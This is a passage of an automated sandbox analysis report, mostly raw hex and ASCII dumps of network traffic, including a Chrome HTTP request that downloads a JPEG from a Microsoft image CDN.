e7 5a 4a 2b cc d6 31 94 e5 ee a3 93 b1 d5 4d ad d1 96 29 
Data Ascii: NVpz}/U,$9f8Kn<d/xi6o.6 aA=K,jD|WE+9j/taGn2~`G\S2*;[`B*<9zLU[G:5=G<8>@@wpW_uYZ[Y};YfWb2v
OnJaZJ+1M)

2022-08-11 03:42:55 UTC 4319 IN Data Raw: 01 df 02 bc 9d b4 29 92 da de e1 25 6b 88 92 15 96 7f 3b ef 9e 37 05 55 ce 7e b9 e7 f9 57 65 af 78 de d2 4f 0a 
ea 76 02 e1 a3 ba b5 05 63 88 00 a5 d1 b9 f9 70 4f 4e e0 81 d3 af 6a c4 b5 f0 66 bd 3d 86 94 f7 d0 4d 15 b5 c4 71 a1 95 
61 2c 43 60 7c ed 8e 0a 80 cb 8e 7a 92 71 d6 bd 7c 34 a7 4a 1f bd 95 95 fa f6 38 e5 69 6a b7 39 4d 43 c4 46 76 82 1b ff 
00 2a e4 4d 10 58 08 c8 29 8c 83 b4 0e e7 8c d6 a5 ae bd ad f8 4a dd ef 20 b7 69 34 fb a8 b6 fd a0 64 6d 4e 4e 41 c7 38 
e8 7d ab 57 52 f8 5e b6 ba e6 a8 24 b9 26 7b 65 56 8a 5b 78 4b 86 91 88 55 c0 e3 69 c9 e8 38 15 eb 7e 35 b4 d3 34 ff 00 
0d e9 76 52 5b cd 71 6f 05 ba 8b 99 6d ac 59 64 0a 57 0e 41 2d 83 81 8c ff 00 5e 6a ea e3 a9 c5 d3 85 38 f3 29 6f bf 6e 
86 5e fd db 6f 53 c9 7c 1f ad e9 ba cd 9d c8 7b c5 4d 
Data Ascii: )%k;7U~WexOvcpONjf=Mqa,C`|zq|4J8ij9MCFv*MX)J i4dmNNA8}WR^$&{eV[xKUi8~54vR[qomYdWA-^j8)on
^oS|{M

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:55 UTC 4363 IN Data Raw: a9 6d e1 f9 7e c3 25 dc f6 f2 a4 2a 99 1b 81 1b 80 ea c3 d4 0e 94 68 36 b6 3b 6f 52 ea 7b b8 67 2a 7e ce 6d 
d4 32 13 82 7e 6e fc f4 e3 d6 bb 45 d6 b4 c8 3c 24 fa 54 57 17 37 d7 96 aa b2 66 ec 88 a1 4f 9b 2f 1a a8 c9 76 2c 46 32 
71 81 d2 b7 ad 5a 71 69 41 5f 51 bd 76 38 b0 b2 5c da a3 c8 ca 58 a9 45 32 75 0a 0f 00 63 d3 9a 6e 9f 79 0a b0 8e e6 d1 
a7 b7 57 cb 18 8e 18 af 19 19 e9 d3 3f 9d 69 5f f8 89 af 3c a4 9e 35 ca 02 a0 2a 81 bb ae 09 c6 33 50 5a 6a 36 b6 eb c2 
49 1b 10 54 e0 fb 7e 1c 1a eb 8d 49 a5 aa d4 8b 27 ba 2d fd ba da 3b f9 5b 46 12 5a 59 cc 57 fd 1e 60 64 24 29 ca f2 47 
3e f5 e8 ff 00 08 b5 0f 0f 3f 89 2d 34 ff 00 16 44 df d9 92 48 66 97 cb 0d d5 57 2b b8 71 b8 1c e3 f5 ae 3f 4b f1 8d ad aa 
83 2c 16 f2 5c 8e 44 d2 42 09 c8 3c 01 8c 64 63 d6 bd 
Data Ascii: m~%*h6;oR{g*~m2~nE<$TW7fO/v,F2qZqiA_Qv8\XE2ucnyW?i_<5*3PZj6IT~I'-;[FZYW`d$)G>?-4DHfW+q?K
,\DB<dc

2022-08-11 03:42:55 UTC 4369 IN Data Raw: 37 31 a4 b7 9e 59 62 a8 17 2a ac 9f 71 58 29 c8 c7 43 93 58 7a a7 85 ef 75 0d 0e d8 b2 36 90 65 bb 69 e1 59 
14 14 6c ed 21 8a 83 c9 e3 24 9e 80 e7 81 c5 64 dd 6a 5a 2f 8c 62 92 e6 4d 42 1f b3 4f bd da 5b 8b a6 8a 57 90 a1 fd d0 
8f 18 21 09 04 10 40 00 11 de ad e9 de 27 b8 d4 34 74 4b 97 32 c1 0c 6a 41 91 56 28 84 91 ab 21 55 61 f3 3e e5 39 c1 
ea 7d 78 15 d3 4b 0f 5e 92 4e 2a ce fa dd 79 5b 4e 9f f0 34 b1 a5 95 ae 89 75 6d 56 19 3c 2b a6 58 5d 26 fb ef 38 fd aa 
28 63 5c 4b 19 dd f2 e7 77 45 5c 1d d8 c8 07 00 75 ae 07 43 d1 a0 b3 d5 ac 12 fa 79 2c 2e 23 2d 0d ad a3 44 7c b2 1d 8e 
dd cc 33 bb 0c 71 9e 30 05 74 1a 7e a3 61 a8 3e a7 2d 94 1f 6b ba ba 89 56 38 e5 2a 81 1e 55 2a db 53 a8 54 27 86 00 
12 39 cd 64 b5 cc b6 be 1f fe cf 74 fb 64 f1 46 d0 5c 43 20 55 
Data Ascii: 71Yb*qX)CXzu6eiYl!$djZ/bMBO[W!@'4tK2jAV(!Ua>9}xK^N*y[N4umV<+X]&8(c\KwE\uCy,.#-D|3q0t~a>-
kV8*U*ST'9dtdF\C U

2022-08-11 03:42:55 UTC 4401 IN Data Raw: b7 be 88 37 91 2b 32 9d 8a ac 48 23 27 8d dd f1 ea 6a fe a7 e1 6b 9d 5e cb fb 76 2d 4e d7 fb 45 c2 c7 f6 69 64 
0a ce e2 56 dd 1a 30 e0 90 4e 0e 00 07 81 9e f5 a5 a9 68 fa cf 86 7e 25 c5 6f 73 f6 1b fb 1b c1 1b 2b 36 d7 9a e6 44 05 
b2 a0 e3 0c 32 06 de 99 c1 e7 19 ad f9 a8 ca 97 b1 4d 36 d3 bf 47 ee f6 fb fe e2 65 cd d0 a3 75 ad 69 da ee a0 7f b5 52 
64 bb b1 80 3a ca cb 1a 19 67 56 52 23 00 81 95 63 fc 27 9c 0e dc 56 97 89 fc 5f 67 ae d9 ce 9f 69 58 f5 59 75 26 d4 6d 
ed 6d f7 33 22 c9 96 76 dc f8 25 55 94 11 8f 4c e6 9f e2 2d 3f 48 8a e3 fb 0e e3 50 b6 b2 d4 3c 96 d4 ee 9a e2 0d d1 5f 4a
57 26 34 e7 01 d4 82 84 0c 02 49 f4 34 78 1b 4f 8f c7 3e 30 97 52 bc f0 eb 79 f0 24 6a f1 cb b5 26 41 b7 2b 2a a0 c0 c6 
d5 e0 0c f0 72 73 90 6b 8a a7 b2 a7 4b db 4d 34 a0 
Data Ascii: 7+2H#'jk^v-NEidV0Nh~%os+6D2M6GeuiRd:gVR#c'V_giXYu&mm3"v%UL-?HP<_JW&4I4xO>0Ry$j
&A+*rskKM4

2022-08-11 03:42:55 UTC 4417 IN Data Raw: 63 c6 6b 38 c9 5e 32 bd de f6 fb ff 00 02 5c 95 ac cc 28 ed 6e f5 07 8f 4c 82 e0 c7 35 b1 79 9e 39 70 85 64 c8 
0c aa 4e 32 dc 2f 19 e7 9a de d4 75 06 d5 9e ca 7d 52 f2 6b 87 ca 25 c7 94 ca 06 11 44 6a 8a 84 e4 15 51 83 cf 5c d7 3b 
ac 4c 9a bd d2 dd 43 6f 23 ee 75 58 cb 38 c8 62 3e 66 7c 0e b9 e7 3f 8f 38 aa fa ee b8 a6 fa 78 ad 90 ec 85 8c 70 4d c6 ff 
00 2c 82 30 cc 00 dd 9c 93 93 c9 cd 76 2a 6e a5 b4 d4 a7 7b 1a 5e 39 f1 10 ba d6 23 9e 48 e1 0b 6f 1c 71 25 bd ba 04 0d 
18 50 32 d8 ef b4 00 4f 52 79 ac b9 ef b4 dd 46 40 d1 69 92 d9 c1 21 65 32 4b 21 70 7d 36 ae 00 cf 5e ff 00 ca a8 33 7d 
b2 dd d6 2b 15 b8 ba 63 93 20 c9 62 aa 32 48 03 b0 00 e7 b9 a6 e9 b7 57 b7 2b 18 dc 65 8a d8 00 90 c8 09 45 f9 8b 70 
3b 0c 92 4f 3d cd 6f 1a 4a 11 49 74 f3 fe bf 11 a8 be 
Data Ascii: ck8^2\(nL5y9pdN2/u}Rk%DjQ\;LCo#uX8b>f|?8xpM,0v*n{^9#Hoq%P2ORyF@i!e2K!p}6^3}+c b2HW+eEp;O
=oJIt

2022-08-11 03:42:55 UTC 4472 IN Data Raw: 6b ba 51 b4 83 d4 a8 e7 03 07 ee 8c 67 9e b5 dd 53 31 84 66 aa c2 1a ae a4 d4 e6 a5 78 f3 5c f5 8f 82 d7 9a 
6f 83 7c 37 79 e2 9d 5f 6d c6 a3 7e cc b0 e0 06 b8 b7 b5 0d f2 46 c0 00 14 96 f9 9b ae 4e 3a e0 55 9f 0a 7e d2 ba 6c 3a 
86 a9 1d fd e2 9b 35 90 b5 b8 cf 2c 76 9c a1 25 b0 1b 70 e3 eb 8e d5 f2 f6 b5 e2 4d 58 be a1 23 b9 11 59 46 cb 2a 5b b6 
46 cc 83 b7 3d 01 07 07 69 e6 bc 6b 5a f1 0b de 3a 00 04 11 b8 28 0b 63 23 27 b9 ea 7e a7 9a f7 f0 f9 8e 37 13 38 ca 0f 
96 31 5b 6e be 67 87 3c 34 2a 49 b9 1f a7 7a 1f ed 09 e1 ad 62 ea 48 c5 ca c7 0e 1b c8 69 0e d2 ed 80 55 0a f2 54 e7 23 
9c 57 7d e1 8d 5e f3 58 b0 fb 5d cc 11 59 c5 26 1a 28 c3 12 db 71 ce ec 8c 67 3d 31 5f 93 9a 6f 8c 97 4e b6 b6 b7 92 5d 
ef 6f 3f 13 44 a3 a0 fe f3 70 58 75 e3 38 ed 5f 42 7c 27 
Data Ascii: kQgS1fx\o|7y_m~FN:U~l:5,v%pMX#YF*[F=ikZ:(c#'~781[ng<4*IzbHiUT#W}^X]Y&(qg=1_oN]o?DpXu8_B|'

2022-08-11 03:42:55 UTC 4488 IN Data Raw: ee 3a 77 ae 03 4d 1a f7 88 18 5c 2a 43 2d 8d 94 d1 a4 97 d6 f1 61 25 42 c7 27 9c 1f af e7 5a 77 f6 51 41 a7 
de 5c bd 94 51 bd cc 8c 22 8a 46 60 b1 46 0f 12 05 ce 58 9c 1f a0 c5 65 0c 25 28 37 4e a3 e6 bf 4f eb 66 11 6d fb cc ee 
b5 cf 8b 57 53 e9 b1 08 f5 42 23 91 d9 12 3d cd c6 06 00 3c 03 b4 71 fe 45 73 da 47 8a 2e e5 b8 bb b5 61 17 d8 0c ab b9 
4f 56 73 d7 1d d8 75 fe 75 9d e1 cf 06 dc eb 89 26 a7 67 a9 c7 07 9d 11 12 ac a0 f9 65 0f ca 31 9c 63 be 3f ae 2b 5a f7 e1 
e4 7a 77 94 f6 97 81 11 20 c7 ca 4c bb d9 9b 1d 41 c2 81 81 cf 5c e3 a7 34 e3 4f 07 87 bd 38 ef e8 6d 79 35 72 cf 86 75 
cd 3a 16 3e 53 81 75 01 61 e5 b0 db b3 2d f7 8b 67 27 23 f5 ad ad 77 c4 cc da 5c 0d 69 24 88 d7 f2 f9 56 a6 40 1d 21 97 
9c 90 a3 1d 41 e3 3d eb 8d 4f 08 5a 58 5d c7 7f 75 ae 
Data Ascii: :wM\*C-a%B'ZwQA\Q"F`FXe%(7NOfmWSB#=<qEsG.aOVsuu&ge1c?+Zzw LA\4O8my5ru:>Sua-g'#
w\i$V@!A=OZX]u

2022-08-11 03:42:55 UTC 4526 IN Data Raw: 55 63 08 27 76 40 52 0e 1b a6 72 33 5c 1f c1 69 af 2d 3e 26 23 fd 8a 59 cc d0 34 52 dd 91 92 02 e0 b0 0d c0 
0a 40 0a 4f 23 db 26 bd 47 52 1a 6f 87 7c 44 fa 95 e6 a7 e5 4b bd 8c 36 d1 8f 94 39 1c 82 46 06 06 7a 9e f5 f3 19 97 25 
1c 5c ad 1b b7 14 f4 d6 ef e4 74 d0 97 ee ec 65 78 7a 4b 9f 87 fe 1d b9 d4 6f ed 9a 29 67 bb 84 b0 8f 27 6e 39 39 e0 05 
5f 9b 38 c7 e5 5c 67 88 7c 63 e2 8d 52 fe e2 46 32 5f 69 f7 2a 4a c9 1c c0 c3 b7 3c 6e ea 01 00 6d eb d2 ba 3b bf 17 4d 
ad eb 52 e9 76 9a af 98 ce bf 68 f9 a3 5f 97 04 92 c7 9e 72 38 03 23 b5 65 69 1e 1d bb 46 9c 3d c3 3a 35 bb 46 c0 42 ea 
a8 64 24 6c 0a 0e 3a 64 e4 9e 33 4a 94 69 d3 72 ad 5e 2b 9d f7 be da 6d f7 1a 39 c6 da 33 9e 87 c0 57 22 d7 fb 5e 6f 10 
59 db 99 14 cf 05 87 98 db 9f b9 42 c7 18 51 8e be bc 56 
Data Ascii: Uc'v@Rr3\i->&#Y4R@O#&GRo|DK69Fz%\texzKo)g'n99_8\g|cRF2_i*J<nm;MRvh_r8#eiF=:5FBd$l:d3Jir^
+m93W"^oYBQV

2022-08-11 03:42:55 UTC 4542 IN Data Raw: f7 30 4b 96 5a 0c f1 9d e5 ce b7 ab 0d 47 c3 b1 cd a8 59 5a a2 c9 14 31 47 84 8b 6b 02 1c 28 e4 a8 6e c0 67 
1c 74 aa cf 65 14 2d 6f 79 a8 5c b1 d5 2f 63 96 6b 59 6d c2 98 5f 04 6f 2c c0 92 ad 9c f5 1c 1f c6 8a 2b 4a 5e ef 25 15 b2 
ba bf 5b 72 b7 af dc 39 6e d9 53 c6 7e 34 93 4e f1 16 89 a8 d8 e2 4b 59 51 22 ba 12 96 32 29 90 9c ae ee aa 08 dc 01 03 
38 a5 bf d6 66 d4 bc 36 34 4d 3e dd af 35 0d 3e 72 ab 8c af fa 1b 49 bf 6b 01 f7 86 ef 97 27 9c b7 e4 51 5d ea 8c 30 d4 
54 e0 b5 8f e9 b5 fe f6 66 fd d4 da ec 41 77 a5 ea 37 9a 4d fc f7 b2 1b 7b 1b b6 5b 55 58 c6 c4 49 1a 64 c0 23 b8 04 f1 cf 
41 57 3c 79 a4 69 4d ad e9 16 f6 17 17 57 62 1d df 68 c9 ce 76 2e 0b 0c 9c 8c e4 64 8e 30 de d4 51 58 51 9c a7 25 3b 
da dc db 7a 20 5a e8 71 ba 8e 9f 6c 9e 34 82 cf 4d d3 
Data Ascii: 0KZGYZ1Gk(ngte-oy\/ckYm_o,+J^%[r9nS~4NKYQ"2)8f64M>5>rIk'Q]0TfAw7M{[UXId#AW<yiMWbhv.d0QXQ
%;z Zql4M

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

154 192.168.11.20 49793 2.16.241.7 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:55 UTC 2117 OUT GET /cms/api/am/imageFileData/RWz1ji?ver=dfdd HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.
102 Safari/537.36 Edge/18.19042
Host: img-prod-cms-rt-microsoft-com.akamaized.net
Connection: Keep-Alive

2022-08-11 03:42:55 UTC 2134 IN HTTP/1.1 200 OK
Content-Type: image/jpeg
Access-Control-Allow-Origin: *
Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RWz1ji?ver=dfdd
Last-Modified: Tue, 09 Aug 2022 09:43:40 GMT
X-Source-Length: 519695
X-Datacenter: northeu
X-ActivityId: 218107f0-347a-4480-8a50-fa7408cd4f2e
Timing-Allow-Origin: *
X-Frame-Options: DENY
X-ResizerVersion: 1.0
Content-Length: 519695
Cache-Control: public, max-age=280872
Expires: Sun, 14 Aug 2022 09:44:07 GMT
Date: Thu, 11 Aug 2022 03:42:55 GMT
Connection: close

2022-08-11 03:42:55 UTC 2135 IN Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 
03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 
15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 
14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 
14 14 14 14 14 ff c0 00 11 08 07 80 04 38 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 
00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 
02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 
Data Ascii: JFIF``CC8"}!1AQa"q2

2022-08-11 03:42:55 UTC 2266 IN Data Raw: 5e 8b f2 ad 67 42 81 57 35 7e de fb c9 e0 57 99 51 b9 2b 1e ad 38 a5 a9 b8 91 96 55 cd 5d 57 08 ab fc 35 8d 
1e aa 11 94 8f bb 57 5a e9 67 8f 8a e3 71 67 64 65 d8 8e 6b fd f2 62 3f ba b5 1a 7c cd f7 be 6a ad bf 6d 58 45 2f b7 67 de 
aa b5 95 88 2d 47 1e ee 4d 48 2d 4e dc 8a 9a 18 f7 c7 52 48 e2 35 c0 ac f9 99 af 2a dc ae 9f bb e2 a5 8e eb cb da 2a 9b 
cd f3 55 76 62 5b 26 9f 2d c3 9b 94 dc fb 7a 6d aa f2 6a 05 6b 23 ed 1b 77 0d d5 46 e2 f8 ee e1 a9 a8 03 a8 6a 5c 5e 06 
ac 8b a9 86 ec ee aa 52 5f ec e3 fd aa ab 36 a0 1a b7 8c 1a d4 c1 cd 3d c7 5c 38 dd 54 26 7f 97 fd aa 2e 6e 53 b5 67 dc 
5d d7 54 51 cd 26 85 b9 8e 26 6d fb 7e 65 fe 2d b5 4b ec c9 24 9b ff 00 da a6 4d 73 bb 9f bc ad 4d 4b ad ac a0 57 44 6e 
96 87 34 ac f5 36 23 d2 a0 76 53 f2 d6 84 7a 3d b7 5d 
Data Ascii: ^gBW5~WQ+8U]W5WZgqgdekb?|jmXE/g-GMH-NRH5**Uvb[&-zmjk#wFj\^R_6=\8T&.nSg]TQ&&m~e-
K$MsMKWDn46#vSz=]

2022-08-11 03:42:55 UTC 2282 IN Data Raw: be f5 68 8e 6a 90 e6 35 a3 f9 b9 fb d4 e0 36 f4 dd f2 d4 36 b3 79 8b 9f e2 ab 8b 54 71 72 59 90 ac 7b ba 7f e8 
54 e5 8c a2 ff 00 f1 55 2d 47 b3 bf cb bb fd a5 a4 5e da 07 3f f0 1a 45 60 df ee d4 92 2e d5 6c ae da 5d 9b f9 a6 32 26 41 
43 29 56 c5 3d 57 f7 9f ed 52 33 6d 6e 69 dc 08 d1 7e 5f f7 69 1d 2a 45 4f 97 f8 76 d2 b7 a9 fb b4 85 b9 0a c7 b7 8a 1d 3d
3e f5 4a 53 73 6f a4 db ba aa ec 96 86 2a fc b8 a4 65 0d d2 a5 55 dc bf ed 7f e3 d4 cd 9b 5b 9f 9a 81 5b b0 d5 1f c3 fc 2b 
fc 34 df 2f d6 a4 db b7 f8 a9 1b 2b c6 e5 ff 00 76 98 86 2a ed ea bf 35 0d 1e ee 9f 7a a4 db bb 81 49 b7 6b 63 ef ad 02 11 
57 6d 39 3e 56 c6 da 45 5d db 69 5b e5 eb ff 00 ec d2 dc a4 4d c3 2b 7c cb ff 00 b3 51 b8 2f 22 a0 a7 fd ee 37 fc ab 53 cb 
a9 a7 33 63 24 f9 9b fd ea 62 af fd f4 
Data Ascii: hj566yTqrY{TU-G^?E`.l]2&AC)V=WR3mni~_i*EOv=>JSso*eU[[+4/+v*5zIkcWm9>VE]i[M+|Q/"7S3c$b

2022-08-11 03:42:55 UTC 2284 IN Data Raw: f6 ca e6 3b 9b 59 14 32 c9 1f cc b5 0d 38 ee 65 15 dc 97 6e e6 fe 1a 56 c3 54 85 77 6d c5 22 fc df c3 fc 5f c3 
53 72 c6 6c 0a d4 9e ca bf f7 cd 4a ab b7 fd ea 4f 2f 77 5a 2e 4e e4 7f de a3 ff 00 1e a7 ed 1b b1 4b b7 1f fb 35 17 1b 57 
22 75 1b 5b fb db a8 6f 9b 6e 6a 4f 2e 8a 2e 26 88 9d 42 af 14 9f c3 52 6d 2d c8 a4 5f 6a 01 45 21 37 6d db 42 ff 00 f6 5f 
35 39 5b 73 7f b3 49 b7 d3 ee ff 00 7a 95 d1 31 b5 ae 26 de d4 22 15 6f bd 4e fe e5 0c 28 0b 77 23 91 37 73 42 a7 af f7 
aa 4d a5 7a 52 6c 3d 3f f6 5a ab 96 31 93 d5 29 19 7f ef 9a 91 93 e6 fb b4 6c f9 b8 a4 2b 11 b0 1b b3 fc 54 30 a7 b2 7a 
d2 ed fb d8 fb d4 02 20 6f 4a 72 a6 de 94 e5 43 de 9d b3 14 ee 50 d5 cb 7f c0 6a 4f 30 2a e7 f8 a9 19 46 ee 29 1b f8 7f f6 
4a 9d c6 9b 5b 0d 91 bc c5 cd 47 b3 6f f1 6d 
Data Ascii: ;Y28enVTwm"_SrlJO/wZ.NK5W"u[onjO..&BRm-_jE!7mB_59[sIz1&"oN(w#7sBMzRl=?Z1)l+T0z oJrCPjO0*
F)J[Gom

2022-08-11 03:42:55 UTC 2324 IN Data Raw: 76 87 b5 87 6e e4 11 c7 b6 46 23 ef 2f cb f2 ad 5b 75 d9 6e a9 fc 5c fc b4 90 ed 91 b7 fc cd b5 a9 b7 13 6f 6c 
fc db bf dd a2 f7 15 b4 2b 22 15 8f 07 ee b7 cd b6 a3 64 ff 00 6b e5 ff 00 be 6a c2 af af dd a2 4f 9b a6 ef 9a 99 16 b9 59 
10 ac 8c 3e 8b f2 fb d6 a5 cc 6e b6 3f 7b e6 56 1f 2a ad 51 44 26 6e 17 ee e3 ff 00 d5 5a 33 48 6d e3 d8 8b f3 49 f3 37 fb 
de 9f 4a 96 dd d1 71 ec 64 32 ee 66 27 ef 53 36 ed e0 7d da b2 e9 f2 e7 e5 dd fd da 6f f1 2f f0 fc b5 7c c4 95 d5 0c 92 2a 
27 df ff 00 65 6b a0 8e c3 fb 36 c5 63 7f bd f7 9b 6f bd 54 d1 6d cc 93 4b 2f 78 97 f9 d6 9e a4 87 cb c1 fb bf c5 f2 ff 00 9e 
2b 19 c9 b7 63 68 24 a3 72 36 54 5e 7f 86 aa c2 7c c6 c9 fb ab 85 a4 99 80 85 70 df 37 1b bf bb 4b 6f f2 ae 37 7a 7c b5 
36 d0 23 2d 44 7f 9e e1 87 ca ab bb 76 
Data Ascii: vnF#/[un\ol+"dkjOY>n?{V*QD&nZ3HmI7Jqd2f'S6}o/|*'ek6coTmK/x+ch$r6T^|p7Ko7z|6#-Dv

2022-08-11 03:42:55 UTC 2340 IN Data Raw: b6 ba 2d 2f 4a 8a dd 72 91 7c cc bb 59 9b 3f ad 36 e9 6e 2e 66 68 e3 8b ca 5f ef 32 fd ef 6a 8f 6b 1b ec 69 c8 
ed 76 ce 56 de d5 6f 1b 89 5b 6a e3 6f f7 b7 53 ee 2d af 12 4c 16 5f dd af f7 be f5 74 6b 1c 5a 6c cc 64 5f 35 99 46 e6 55 
ac fb a8 44 cc d2 06 55 5f 99 95 5b fb b5 a4 6a 39 32 1c 52 57 29 ae 9f 3d c5 9a 48 ec aa db 76 aa ff 00 7b df 34 bf da 17 
08 bf 66 95 57 7f f0 b3 7d d5 15 75 2d de f2 15 8d ef 36 af de f9 7e ea a8 f4 a8 4e 9f 02 cd c4 ac cf 1f de dc bb bf 3a 69 
a7 f1 19 b4 f7 89 6a d7 c3 f6 ea ab e7 ca cc fb 7e ec 6c 15 57 34 9a a6 9f a6 69 f1 e1 7e 69 d9 7e ee ed df 2d 67 dc b9 86 
4c c4 cc a8 cb f3 2f f8 52 6a 11 c7 25 ac 52 c6 cc df de 66 fe f5 2e 57 cc ae cd 39 b9 62 ec 8a 30 dd 3d 8c de 65 bb 6d 68 
ff 00 d9 dd fc eb a2 b1 f1 b4 a8 b9 b8 
Data Ascii: -/Jr|Y?6n.fh_2jkivVo[joS-L_tkZld_5FUDU_[j92RW)=Hv{4fW}u-6~N:ij~lW4i~i~-gL/Rj%Rf.W9b0=emh

2022-08-11 03:42:55 UTC 2550 IN Data Raw: 55 d1 c7 09 9a 4c 1d b0 5b af dd db fc 5e c6 ba 6a 4f 45 14 65 08 e9 cc 66 4c c3 6a 92 bb 7e 6d aa bb 6a 26 
84 f5 db b7 ff 00 66 ab b7 53 5a 5b b6 02 f9 b2 ff 00 e3 ab 55 e4 9f 7b 36 f4 f9 aa 23 7e c3 96 a5 09 23 da cc 0b 6d fe 2a 
6b 29 85 72 7f e0 4b fe cf ad 4a d2 6d dc 42 ed a4 8e 33 7d 37 96 aa cc dc 37 cb 5a ed b9 11 57 57 ea 53 57 2f d1 76 d6 
96 9b a2 4f 79 0f 98 8b b6 26 fe 26 ad 6d 37 c3 f0 27 cf 78 ca a8 df f2 cf 77 f3 ae 8a d9 55 21 51 6d f2 a6 df 96 b9 6a e2 
12 d2 06 f0 a2 db bc b6 31 a3 d2 ed b4 d8 fe f2 c9 75 23 6e 5d df c3 f4 15 3d bc 6f e7 31 0c d2 bf fb 4d b5 17 ff 00 8a ab 
53 59 db c2 de 69 ff 00 5f f7 9a 4d df 37 e1 54 a6 9a 76 5f 93 6c 51 7f 7b fd 9f 6f 7a e5 e6 72 57 3a 79 79 4b 17 ca 90 c6 
a1 fe 6f e2 6f f7 ab 26 f2 e1 f5 49 96 20 db 
Data Ascii: UL[^jOEefLj~mj&fSZ[U{6#~#m*k)rKJmB3}77ZWWSW/vOy&&m7'xwU!Qmj1u#n]=o1MSYi_M7Tv_lQ{ozrW:yyK
oo&I 

Timestamp
kBytes
transferred

Direction Data

Copyright Joe Security LLC 2022 Page 104 of 310



2022-08-11 03:42:55 UTC 2566 IN Data Raw: 6f 9f e6 8b fd 9a ab 12 df 61 97 09 1a af 0d b9 b8 fe 2a 85 d7 6e d7 1f 7b f8 aa 69 51 3c cc a7 dc ff 00 d9 69 
bb 1f 6b 6c dd b6 98 91 0a 21 8f 83 b6 9a ae 51 5b 2d b5 9a a5 da ff 00 dd ff 00 e2 a9 16 3c b6 3e 6a 04 33 6e e5 e2 95 
18 7f 77 e5 dd ba 9c a9 fe ed 35 fe 66 5f f6 be 6a 04 d1 22 71 fc 3f f8 f5 08 bb bf de 5a 8b 7e e6 6c 7c ad ff 00 8f 54 72 3b 
2f 27 ef 36 68 0b 0a eb b7 9f e1 fe f5 22 7c ad 91 f3 52 ff 00 e3 8b 51 ba 86 5c 96 f9 7f f6 6a 06 4c ac 7f 83 ee d4 8a 83 
a7 de 5e 6a ba b9 4d 9f c3 4e dc 7f fd 9a 08 e9 72 47 64 75 c6 df 9b f8 6a bc 8a db 5b fc ee a7 f9 83 6f fb 4d 4b e6 7c d8 
3f e5 a9 94 ad d4 af b4 32 e0 fd ea 1c 3b ee c7 de 6f e1 5a 7e dd bf ed 7f b5 4f 6f 97 e6 f9 76 d0 25 76 40 a3 76 ec ff 00 
df 5f 4a 1a 4f 9b 3f c2 ab f7 9a a5 6f 
Data Ascii: oa*n{iQ<ikl!Q[-<>j3nw5f_j"q?Z~l|Tr;/'6h"|RQ\jL^jMNrGduj[oMK|?2;oZ~Oov%v@v_JO?o

2022-08-11 03:42:55 UTC 2588 IN Data Raw: fd a6 65 fb d4 e5 5d bc 0d bf fd 95 00 b5 23 56 2a d4 e5 ca f4 6f 9a 97 9d d9 f9 7f cf 6a 7f 92 5d b0 9f 37 fb bf 
7b e9 48 76 62 2a ee 5e 76 ed fe 1f f7 a9 76 ee 66 01 77 7f 77 fd aa 8f 7a ab 72 df 7b e9 ba 9f f7 78 fb cb fd da 63 16 48 
51 97 27 ff 00 41 a4 54 2b c1 7f e1 dd b9 7f 95 0f 20 45 c9 6d bb 7f 86 ac 59 c6 fa 84 6e e3 e5 89 7f e5 a3 7d da 87 25 15 
76 c6 93 7a 14 f6 23 37 cb f7 bf da a3 68 5f e2 a9 e6 68 e1 f9 fc f8 ff 00 bb b5 5b 75 55 4b 9d ed bf 6b 6d fb bb 9b e5 a9 
f6 b1 ee 69 ec e4 3d 72 dc 52 ab 15 65 21 be 5f f6 a9 db 04 6b bc ce bf f0 1c b5 50 7d 5d 21 91 be 5f 35 37 7f 17 cb ba 97 
b5 88 f9 13 dc be ad 52 ef db c3 7f 17 dd fe f5 57 6f 10 db 32 b0 fe ce 5d ed 8d bb 5a b5 2d ef f4 bb e8 58 3d 9c 90 4f 1a 
ed 91 bc fd a8 de fe d5 94 b1 0a 2a 
Data Ascii: e]#V*oj]7{Hvb*^vvfwwzr{xcHQ'AT+ EmYn}%vz#7h_h[uUKkmi=rRe!_kP}]!_57RWo2]Z-X=O*

2022-08-11 03:42:55 UTC 2625 IN Data Raw: d3 bd c2 87 dc be 5f f0 ab 6d f9 aa c4 3e 21 16 d7 11 1b c8 95 59 73 23 37 97 bb 76 3a 56 4e ff 00 2e 45 2e 
ad bb fd 95 ff 00 1a 62 4d f6 89 32 eb f3 6e f9 b7 7f 77 d2 ba 39 22 d5 89 bf 43 76 f3 52 4d 4a 6d e3 ee 2b 6d 5d ab fc 27 
b9 f5 35 6e e3 52 8e c6 df cb 4f bf 2f cd e6 6d f5 fe 46 a9 d8 b8 92 e2 2c 40 b1 2a e3 6f f9 ef 55 2f ad a4 59 a4 92 76 5d fb
7e eb 7c df 4f a9 ac 39 62 fd d6 0e f6 f3 05 b8 0f 74 b0 27 f1 7c aa dc ed dd f8 55 fb cd 2e e2 36 d9 3f ef 62 5c fc cd f2 ed 
c8 ae 79 f3 0e d7 db f3 7d e5 fe 1a d4 bf d6 ee ee 21 54 0e cb f2 fc ca df 37 6f f3 cd 68 e2 ee b9 76 08 c7 96 37 64 0f 79 
